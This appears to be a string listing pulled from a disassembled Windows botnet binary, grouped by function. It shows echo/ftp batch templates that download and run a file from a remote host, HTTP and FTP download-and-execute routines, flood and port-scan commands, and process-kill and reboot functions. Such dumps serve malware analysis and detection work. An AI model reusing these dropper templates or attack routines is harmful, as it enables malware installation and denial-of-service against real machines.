sub_428720(021e):
	"Invalid direction %d\n"
	"Invalid	mode %c\n"
	"PASV"
	"%u,%u,%u,%u,%u,%u"
	"socket"
	"getsockname"
	"setsockopt"
	"setsockopt"
	"connect"
	"bind"
	"listen"
	"PORT %d,%d,%d,%d,%d,%d"
	"calloc"
	"calloc"

sub_4295A0(0897):
	"short	write: passed %d, wrote	%d\n"
	"localfile write"

sub_4239C0(08ea):
	"echo open %s %d>.pif \r\n"
	"echo user a a>>.pif \r\n"
	"echo binary>>.pif \r\n"
	"echo GET %s>>.pif \r\n"
	"echo bye>>.pif \r\n"
	"echo @echo off >c.bat\r\n"
	"echo ftp -n -v -s:.pif >>c.bat\r\n"
	"echo %s >>c.bat\r\n"
	"echo del .pif	>>c.bat\r\n"
	"echo del /F c.bat >>c.bat\r\n"
	"echo exit /y >>c.bat\r\n"

sub_428C00(0c1f):
	"timed out waiting for connection"

sub_41BE00(0f11):
	":"
	":"
	":"
	"ftp(badlogin)"
	"ftp(getting)"
	"ftp(baddl)"
	"http(badconnect)"
	"GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
	"http(getting)"
	"wb"
	"http(badopen)"
	"\r\n\r\n"
	"dl, done. %s ."
	"open	%s."
	"dl'ed-update: %s"
	"exec.error"

sub_427930(129b):
	"Network failed to start: %d\n"

sub_41D500(1cdf):
	"220	\r\n"
	"220 \r\n"
	"331	\r\n"
	"331 \r\n"
	"230	\r\n"
	"230 \r\n"
	"200	\r\n"
	"200 \r\n"
	","
	","
	","
	","
	","
	","
	"200	\r\n"
	"200 \r\n"
	"150	\r\n"
	"150 \r\n"
	"rb"
	"$ftp -> %d.%d.%d.%d -> (%d bytes) (tota"...
	"226	\r\n"
	"226 \r\n"
	"221	\r\n"
	"221 \r\n"

sub_41E6C0(486e):
	"SYSTEM\\CurrentControlSet\\Services\\%s"
	"ImagePath"
	"\\"

sub_41E8D0(6185):
	"ServicesActive"

sub_4268B0(69b7):
	"%s: %s (%utimes/%ubytes/%dms)"
	"[%s] Finished	flooding %s %d Times"
	"[%s] Cannot send pings - Doesn't have D"...

sub_426D40(75a9):
	"forsyn"

sub_4267F0(75a9):
	"ping"

sub_427CB0(8621):
	"Control socket read failed"

sub_429BE0(89f2):
	"QUIT"

sub_427DF0(8d20):
	"\r\n"
	"read"

sub_41F3E0(8dba):
	":"
	"http"
	"ftp"
	"/"
	"/"
	"@"
	":"
	"/"
	"@"
	":"
	"http"
	"ftp"
	"/"
	"@"
	":"
	"/"
	"@"
	":"
	":"
	"/"
	":"
	"http"
	"ftp"
	"/"
	"/"
	"/"
	"/"

sub_42EBA0(9072):
	"�"

sub_41E560(9293):
	"unknown"

sub_41CC30(94cf):
	"%d. - Pid: %d - \"%s\""
	"kp: %s"
	"%d. / %s"
	"ks: %s"
	"kpid: %s"

sub_420EC0(97cc):
	"sym"

sub_41C890(9dc4):
	"sys(reboot)"
	"sys(sd)"
	"sys(logoff)"

sub_41EDB0(a98e):
	"AudioSrv"
	"Browser"
	"CryptSvc"
	"Dhcp"
	"dmserver"
	"Dnscache"
	"ERSvc"
	"Eventlog"
	"EventSystem"
	"FastUserSwitchingCompatibility"
	"helpsvc"
	"lanmanserver"
	"lanmanworkstation"
	"LmHosts"
	"MDM"
	"Netman"
	"Nla"
	"PlugPlay"
	"PolicyAgent"
	"ProtectedStorage"
	"RasMan"
	"RpcSs"
	"SamSs"
	"Schedule"
	"seclogon"
	"SENS"
	"ShellHWDetection"
	"Spooler"
	"SSDPSRV"
	"stisvc"
	"TapiSrv"
	"TermService"
	"TrkWks"
	"upnphost"
	"W32Time"
	"winmgmt"
	"WZCSVC"
	"wuauserv"
	"Themes"
	"SYSTEM\\CurrentControlSet\\Services\\%s"
	"[%s] [????.exe] (Unknown key)"
	"ImagePath"
	"[%s] [????.exe]"
	"[%s]	[%s]"

sub_42C420(adb3):
	"KERNEL32.DLL"
	"InterlockedCompareExchange"

sub_421170(af8b):
	"scan: cip (%s)"
	"scan:	not started"
	"ftp: port: %d, total sends: %d"
	"scan:	stopped	(%d threads)"
	"scan:	couldn't stop"
	"scan:	too many threads (%s)"
	"scan: stats:"
	" %s:	%d,"
	" total: %d"
	"scan:	invalid	port"
	" -r"
	" -a"
	" -b"
	"scan:	no ip specified"
	" -a"
	" -r"
	" -a"
	"random"
	"sequential"
	"advscan(%s): %s port scan %s:%d [delay "...

sub_41EB00(bbe2):
	"PSAPI.DLL"
	"PSAPI.DLL"
	"EnumProcessModules"
	"GetModuleFileNameExA"
	"unknown"

sub_428340(bf6b):
	"%s\n"
	"write"

sub_422F30(cd36):
	"�B�B�B�B"
	"CCCC"

sub_428270(cf06):
	"USER	%s"
	"PASS	%s"

sub_41ACE0(d173):
	":"
	":"
	":"

sub_426A30(d4dc):
	"ICMP.DLL"
	"IcmpCreateFile"
	"IcmpCloseHandle"
	"IcmpSendEcho"

sub_426E00(dad5):
	"%s: %s:%u (%dseconds)"
	"%s: error creating threads"
	"%s: attack@%s:%d done."

sub_4255E0(def1):
	"cmd /c echo open %s %d >> ii &echo user"...

sub_4249E0(efb8):
	"open %s %d >>	ii &echo user a	a >> ii	&"...

sub_428460(f061):
	"Missing path argument	for file transfer"...
	"Invalid open type %d\n"

sub_427310(f9c6):
	"%s: %s:%u	(%usec/%dms)"
	"%s: %s:%d (%ikb/sec)"

sub_428FC0(fb9f):
	"net_write(1) returned	%d, errno = %d\n"
	"net_write(2) returned	%d, errno = %d\n"
	"net_write(3) returned	%d, errno = %d\n"

sub_4279B0(fba0):
	"tcp"
	"ftp"
	"tcp"
	"socket"
	"setsockopt"
	"connect"
	"calloc"
	"calloc"